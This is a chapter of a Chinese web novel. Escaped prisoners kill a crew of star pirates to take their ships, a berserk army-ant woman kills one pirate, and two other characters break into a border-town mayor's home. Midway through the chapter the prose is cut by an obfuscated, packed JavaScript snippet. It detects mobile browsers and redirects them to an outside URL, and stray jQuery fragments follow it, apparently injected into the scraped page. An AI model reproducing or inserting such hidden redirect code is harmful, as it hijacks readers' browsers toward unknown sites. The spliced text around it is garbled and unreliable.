残阳斜晖消失在地平线,最后一缕天光消失，黑暗笼罩大地。


    十二区与十一区交界，干涸的河道中段,两伙人紧张对峙,各自摆出战斗姿态。


    “你们是越狱的囚徒？


    耶里口出问句,语气却十分笃定。


    对面六人的样子稍显狼狈，身上的衣物相当容易辨认。还有行动间露出的手腕，内侧的文字清晰证实他们的身份。


    一群囚徒。


    一群逃出监狱的囚犯！


    泰德和狼女姐妹站在耶里左右,前者披着一件斗篷，高大的身形极具压力。狼女姐妹反持匕首,锋利的獠牙刺出唇角，凶意毕现。


    马多克和恰布隐藏在暗处，身影与黑暗融为一体。


    他们极其擅长偷袭,能在背后取走目标的性命,下手时毫不拖泥带水,速度快得惊人。


    艾伦仍被头痛和惊悸困扰。他抱着头蹲在同伴身后，只差一步就要狂化，陷入和南希同样的境地。


    对峙持续数分钟，耶里再次开口：“你们马上离开，我们当做什么也没看见。


    能从监狱中逃出来，还能活着离开沙漠中心,这群人绝对不好惹。除非万不得已,耶里不想和这群人发生冲突。


    自己的身份禁不住推敲，暴露地话必然引来追捕，甚至招来杀身之祸。他希望双方能就此别过,都不要找彼此的麻烦。


    “那可不行。


    里昂咧开嘴,独眼中闪烁凶光。


    他上下打量着耶里,视线逐一在几人身上扫过，手指搓了搓下巴，总觉得这伙人有些眼熟。


    他们身后的飞船带有特殊图案，应该是赏金猎人的标志。但这伙人潜藏在边境，遇到越狱的犯人竟不想着换取赏金，而是避免惹麻烦，事情很不对劲。


    “你们不是赏金猎人。


    里昂做出结论，多年前的记忆开始复苏，他认出了耶里身边的大个子，那是个变形人，曾在边际行星出没，专门打劫过路的商船，他在服役期间曾经遇到过，可惜被对方狡猾逃脱。


    “他们是星盗。里昂压低声音，对身边的同伴说道。


    “你确定？莱格走到里昂身边，望向对面的目光透出杀机。


    “我当然确定。安娜，乌韦，你们也应该记得，那个像原始星泥鳅一样的变形人。里昂相信自己不会出错，能与这个大个子为伍，关系貌似亲密，这些人一定都是星盗，身份毋庸置疑。


    安娜和乌韦各自点头，肯定了他的话。


    六名逃犯，七名星盗。


    一伙人正在被通缉，赏金数目相当可观，是众多赏金猎人追逐的目标；另一伙人也不会逍遥太久，监狱的情况通报第一区，他们会立刻登上悬赏名单。


    “你们藏在这里一定有所图谋。里昂抓着下巴，指甲边缘刮擦新生的胡须，像是在摩擦铁条，声音坚硬刺耳。


    “无论我们要做什么，都与你们无关。耶里单手摸向腰间，猛然拔出激光枪，枪口激射出耀眼的光束，直袭对面的兽人。


    “既然不肯走，那就死在这里！


    他的动作就是讯号，狼女姐妹各持匕首飞身上前，动作快如闪电。锋利的刀刃对准了安娜和乌韦的脖子。


    泰德的身体变形融化，融雪一般消失。再出现时已经站在莱格身后，粗壮的臂膀从地面长出来，重拳击向莱格的脊椎，拳头冲出爆音。


    马多克和恰布藏身在暗影中，借光线变化靠近目标。距离足够近时，暗影中闪过寒光，一左一右袭向里昂，意图切断他的脖子。


    星盗们常年刀口舔血，各个心狠手辣。动手时不留任何余地，要么杀死目标，要么被对方所杀。


    艾伦无法参与战斗，但也尽量不拖后腿。他缩进飞船下方，随时准备进入飞船发射一轮激光炮。


    这样做十分冒险，极可能引来夜行的赏金猎人。非到万不得已，他不会尝试开启能源。


    “果然是星盗。里昂避开致命一击，右肩仍被划伤，流出殷红的血。


    “一群图谋不轨的强盗，杀了你们也不算坏事。


    监狱位于沙漠深处，与外界断绝联系。


    囚徒们没有通讯器，里昂等人压根不清楚这伙星盗的价值。他们的目标是三艘飞船，抢到手就能远离十二区，就此逃出生天。


    “杀光他们！


    安娜三人配合默契，在战斗中聚集到里昂身侧。


    四人同时变换形态，亮出尖牙利爪。即使缺乏武器支持，赤手空拳也能解决对手。


    莱格避开致命的一拳，五指下握扣住泰德的胳膊，强行把他从地下抓了出来。


    兽人的大手变成锋利的爪子，泰德竭尽全力抵挡仍无济于事，胸膛留下三道深可见骨的伤口。透明的液体从伤口流出，落地中途变成鲜红。


    眼见战况对己方不利，艾伦果断开启舱门，没来得及走进去，颈后突生一阵凉意。


    一个可怕的影子从身后罩下，艾伦悚然一惊，根本不敢回头，直接抱着脑袋滚入舱门。两条细长的节肢交错落在他身后，棕红色的外壳坚硬光滑，尖端扎入地


    面，边缘堪比锋利的锯齿。


    艾伦惊恐的转过身，瞳孔中映出南希，一只狂化的行军蚁。


    同样身为虫族，两者的地位天差地别。


    在虫族拓荒时代，行军蚁是主力部队，是族群中最可怕的战士。艾伦这样的虫子只能刺探情报，往往用处不大，遇到食物匮乏时，还会沦为蚁群的养料。


    “不！


    艾伦双腿发软，实在站不起身，只能用手肘撑着向后退。


    南希步步紧逼，锋利的节肢探入舱门，以原始形态走进飞船。暗黑的影子掠过墙壁，在走廊里不断拉长。


    “不，救命……


    艾伦脸色煞白，手脚并用想要逃跑。


    眼前是一只狂化的雌蚁，如果不尽快逃走，他一定会被对方杀死。


    逃，他必须逃！


    只要躲进驾驶舱，他就能关闭舱门挡住这只行军蚁！


    面临生命威胁，自私的星盗全然忘记了同伴，连滚带爬冲出舰桥。


    哧——


    相隔不远就是舱门，距离成功仅一步之遥，艾伦突然胸口一凉。


    他诧异地低头看去，一条细长的节肢穿透他的胸口，尖端透出胸腔，带出大量鲜血，还有破碎的内脏。


    剧痛袭来，艾伦控制不住向前栽倒，四肢频繁抽搐，没过多久就停止了呼吸。


    鲜血飞溅四周，走廊内灯光微暗。


    墙上的影子持续收缩，南希在地上跪倒，双手支起身体，大口喘着粗气。等到气息缓和，她反手抹去下巴上的血点，神情变得凝重，更有一丝绝望。


    “没有多少时间了。


    她狂化的频率越来越高，变化的间隔也在缩短。不需要多久，她就会彻底丧失理智，脑子里只剩下战斗和杀戮，直到死为止。


    南希扶着墙壁站起身，单手抓起艾伦的一条腿，打算把他丢出舱外。


    走到舱门前，她没能留神，差点和安娜撞到一起。


    飞船外的战斗已经结束，以耶里为首的星盗全部殒命。里昂几人不同程度受伤，好在很快就能恢复。


    莱格甩了甩头，拽下变行人的身体碎片，随手丢在脚下。嗅着胳膊上难闻的气味，厌恶得连打数个喷嚏。


    “里面还有人吗？安娜扫一眼艾伦的尸体，抬头询问南希。


    “应该没有。南希摇摇头。除了艾伦，她没有在船内捕捉到任何震动，不存在能呼吸的生命。


    “三艘船，足够了。


    安娜亮起明媚的笑，回头朝同伴比划出手势，


    示意飞船内安全。


    几人从监狱内出逃，一路上担心追击，抵达边境后险些坠亡。好在峰回路转，他们得到了三艘飞船。


    迅速处理好星盗的尸体，取走他们的通讯器，六人先后登入三艘飞船，检查过能源装置和一应物资，重新聚在一起。


    “能量石还很充足，能支持多日航行。


    “食物和水不太够，需要补充。


    “还有武器，我们需要武器。


    同伴商议要补充的物体时，乌韦专心翻阅通讯器，丛存储的文字和图像中查询蛛丝马迹。


    他发现这伙星盗有多重伪装身份，正被巨星通缉。


    这伙人冒险闯入巨星，费尽心机潜伏在十二区边境，企图肯定不小。


    目标在监狱里？


    还是说，他们要帮助同伙越狱？


    乌韦陷入思索，总觉得有哪里说不通。


    “乌韦，乌韦！乔的声音在耳边响起，同时肩膀被碰了一下，打断了他的思绪。


    “你在想什么？乔好奇地看着乌韦，告知他几人商定的结果，“我们打算去契卡，在镇子里补充物资。飞船需要留人看守，你去镇子里还是留下？


    “我留下。乌韦说道。


    “那好吧。


    几人做好分工，乌韦和乔留在飞船上，里昂、安娜、莱格和南希进入小镇。六人需要合作逃出巨星，里昂四人不可能总在一起，这样的分配也算公平。


    “有一件事，我想大家需要知道。


    在四人换下囚衣准备离开之前，乌韦指出耶里七人正在被通缉，他们曾经乔装改扮混入十一区。


    “这伙星盗正在被通缉，他们用过多重伪装身份，潜入巨星的目的暂不可知。进入小镇后一定小心，因为他们，镇子里聚集了更多赏金猎人。


    “明白。


    四人点点头，感谢乌韦的提醒。


    认真检查过全身，确信没有破绽，几人拿着星盗的钱晶离开飞船，攀爬上河岸，徒步走向十一区内的大片岩山。


    他们的目的地就在岩山中，一座名为契卡的边境小镇。


    几人离开后，乌韦和乔关闭舱门，一人监控外侧，一人抓紧时间休息。


    夜色渐深，狂风骤起，从沙漠中心吹向边境。


    风声呼啸，掩盖所有异响。


    河道底部，干涸的土层呈线形隆起，一条细长的舌头飞快弹出，卷走包裹血浆的砂砾，很快又缩进地下消失无踪。


    沙风席卷河道，袭向对岸，被大片


    耸立的岩山拦截。


    边境小镇座落在山腰，停机坪则建在岩山顶部，因太多飞船到来，地勤人员不分昼夜忙碌。


    入夜后，山顶亮起耀眼的灯光。


    白色光束环形交错，末端扩散照亮天空，为在黑暗中抵达的飞船指引方向。


    继五艘小型飞船之后，一艘大型运输船出现在停机坪上方。


    灯光扫过船体，照亮紧闭的舱门。


    涂绘在船身上的舷号消失无踪，船体也发生改变，不再是碟形船翼，而是拉长成椭圆。仅从外形来看，很难认出这曾是属于阿鲁斯的新型运输船。


    在进入小镇之前，严珣特意改变船体，抹去这艘运输船的舷号。


    谷绪站在舰桥上，亲眼目睹严珣改变飞船结构，整个过程仅耗时五分钟。


    他见过许多金属变异者。在混乱的末世，变异者用异能打造武器，加固庇护所，但无一人能做到严珣一样，在数分钟内改造一艘庞然大物。


    如果严珣愿意，应该能重塑一艘战舰，或是铸造一座金属城。


    飞船降落后，舱门向外开启，金属履带滑出，前端触地后翻出台阶。


    船上的乘客步下台阶，全部身着制服，容貌没有经过任何伪装，简直像一群发光体，无论走到哪里都会引人注目。


    在停机坪工作的异人呆滞当场，愣愣地看着一行人走过，几乎忘记了呼吸。他的目光一路尾随，追逐最前方的银色身影，以为看到了月神的化身。


    “夜安。


    地勤人员正看得出神，耳边传来问候声。


    一名棕发青年停在他对面，俊美的脸庞正对着他，摘下右眼的单片镜，蛇瞳缩窄成一条细线。


    不期然撞入金色的瞳孔，地勤人员当场被锁定，表情变得呆愣，很快陷入一片茫然。


    “祝你有一个愉快的夜晚。


    将镜片遮回眼前，云霁微笑着向异人颔首，转身追上队伍。


    地勤人员站在原地，许久才回过神来。


    他茫然四顾，看到停泊在不远处的运输船，总觉得忘记了什么。抬手敲了敲脑袋，依旧是模糊一片。


    “见鬼了。


    为抵御沙漠的狂风，入夜之后，小镇四周会升起防护罩，像一只大碗倒扣在山腰，保护镇子里的街道和建筑


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13093037|121050||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    小镇中没有路灯，道路上异常黑暗。


    街道两旁的酒馆和旅店却是


    灯火通明。从敞开的门内飘出浓郁的酒气，混杂着食物的香味，糅杂成一种稍显奇怪的味道。


    时间进入火月，镇子里聚集大量赏金猎人。


    十二区消息封闭，众人对沙漠深处的变故一无所知，话题中心仍是通缉令上的星盗，毕竟他们中的每一个都能带来大笔赏金。


    每经过一座酒馆，都能听到各种大嗓门，或是炫耀或是吼叫。期间有人发生冲突，还能听到不同语系的咒骂以及拳头击打的声响。


    一行人进入小镇，按计划分散行动，方便以更高的效率完成计划。


    “我们去镇中心。”严珣手指道路尽头，那里座落着一栋三层小楼，与小镇中的多数建筑一般无二，并不十分起眼。


    住在里面的人却很不一般。


    他是这里的镇长，家族世代掌管这座小镇，拥有附近大片土地，积攒的财富相当惊人。


    “我们需要飞船，赏金猎人不可靠，中介商人过于贪婪，交易难保中途出错。最好的选择就是这里的镇长，他有多艘走私飞船，可以顺利帮助我们离开。”


    “走私飞船？”


    “是的，走私飞船。”


    没有在巨星上登记，行走秘密航道，总能逃脱大量税额。即使被借走也不敢声张，否则拥有者会第一个被投入监狱。


    狂风呼啸，卷着黄沙拍打防护罩，不亚于一场小型沙暴。


    两人一路穿过长街，途中零星遇到几个行人。黑暗模糊了容貌，奈何严珣的发色太过显眼，总会吸引来更多目光。


    好在他们身着船员制服，伪装的身份有效规避窥伺，令对方望而却步，没有引来不必要的麻烦。


    “如果是在白天，就要更小心一些。”严珣侧身弯腰，微凉的气息拂过谷绪耳畔，笑容清浅，“我们大概会需要伪装。”


    谷绪侧身让开一步，无言地拉开两人间的距离。


    道路尽头，镇长宅邸内，一层和二层的灯光全部熄灭，唯余三层还亮着一盏灯。


    布鲁托的家人已经入睡，房间外变得静悄悄。他却毫无睡意，躺下后心跳加快，总觉得有不好的事将要发生。


    “到底怎么了？”


    “难道是那群商人，还是货物出了问题？”


    翻来覆去睡不着，布鲁托的心情变得愈发烦躁。他腾地坐起身，系上睡袍的带子，在地上来回踱步。


    上一次出现在这种预感，他损失了整整两船的货物。今夜再次出现，他感到异常不安，烦躁得抓乱了稀疏的头发。


    咚、咚、咚。


    声音来自窗外，布鲁托停下脚步望过去，一道银辉闪过眼前，仿佛皎洁的月光印在窗上。


    金属锁扣无声融化，两扇窗向内敞开，猛然拍打在墙壁上，镶嵌的玻璃爬满裂纹，刹那间支离破碎。


    声音回荡在室内，走廊始终静悄悄，仿佛有屏障隔绝。


    除了布鲁托，这栋小楼内的所有人都在沉睡，无一人被声音吵醒。


    “是谁？！”


    布鲁托迅速向后退，打开墙边的抽屉拿出激光枪，枪口正对窗外。


    月光在此时偏移，照亮破碎的窗口。


    一道修长的身影出现在窗外，身后没有羽翼，却稳稳地悬浮在半空，仿佛没有重量。长发流淌银辉，恰如月光编织而成，正是布鲁托之前看到的颜色。


    他右臂环抱着一名黑发少年，看不清少年的模样，却能感知到骇人的戾气。下一刻，少年挥开他的手臂，纵身跳入窗内，轻盈落在地上，没有发出任何声音。


    布鲁托看清少年的样子，夜色一般的头发和双眼，肤色瓷白，嘴唇淡得几乎失去血色。


    肩膀上栖息着一只蜘蛛。


    蜘蛛腹部和背上的花纹十分有特色，在月光下泛起赤金。


    “狼蛛？！”


    生活在沙漠边缘，必然对毒虫有所了解。


    布鲁托认出银腹狼蛛，不由得向后退，背部紧贴上墙壁。


    “你是谁？”


    “你们究竟是什么人？”


    “要干什么？！”


    他一口气问出多个问题，因紧张和惊慌声音变调，嗓子愈发尖利。


    严珣弯腰进入室内，右手拇指擦过食指关节上的咬痕，得体地问候布鲁托，动作优雅，表现得彬彬有礼。


    “夜安，布鲁托镇长。”


    “说出你来意！”


    布鲁托抬高枪口，眼角余光瞄向一个装饰物，一尊以能量石雕刻的独角兽。独角兽身后的墙壁内藏着一个按钮，按下去就能召集小镇治安员。


    “不必紧张，布鲁托镇长，也最好不要惊动他人。”严珣竖起手指抵在唇边，眼尾微微下垂，笑容温和无害，出口的话却充满威胁，“我不希望伤害你，当然，也不想伤害他人。”


    谷绪抱臂站在一旁，视线扫过墙边的雕塑，忽然间眉心一皱。


    无视布鲁托手中的激光枪，他迈步走过去，手指擦过独角兽的脖颈，果然在与前胸的连接处发现一枚刻印。


    这是少年的东西，是他的入学礼物。


    为什么会出现在这里？


    布鲁托被谷绪的动作惊到，调转方向就要开枪。


    眼前忽然掠过一阵风，激光束落空，在地板上留下一个漆黑的焦孔。紧接着脖颈被箍紧，双脚被迫离地，布鲁托险些当场窒息。


    谷绪单手捏住布鲁托的脖子，将一个超过两百斤的男人抵在墙上。看着男人无力挣扎，脸上失去血色，他才稍微放松力气。


    “这个雕塑，你丛哪里得来？”


    布鲁托艰难转动眼球看向那尊独角兽，因喉管被扣紧，发声十分艰难：“第六区，商人，这是……礼物。”


    “那个商人是谁？”


    “谷连，他叫谷连！”


    谷连？


    谷绪松开手，面无表情地看着布鲁托滑落。可怜的镇长劫后余生，双手捂着脖子拼命咳嗽。


    谷连，父亲的堂弟。


    他的计划需要更改。


    在拜访第六区治安官之前，他需要先去问候一下这位父亲的堂亲。


    作者有话要说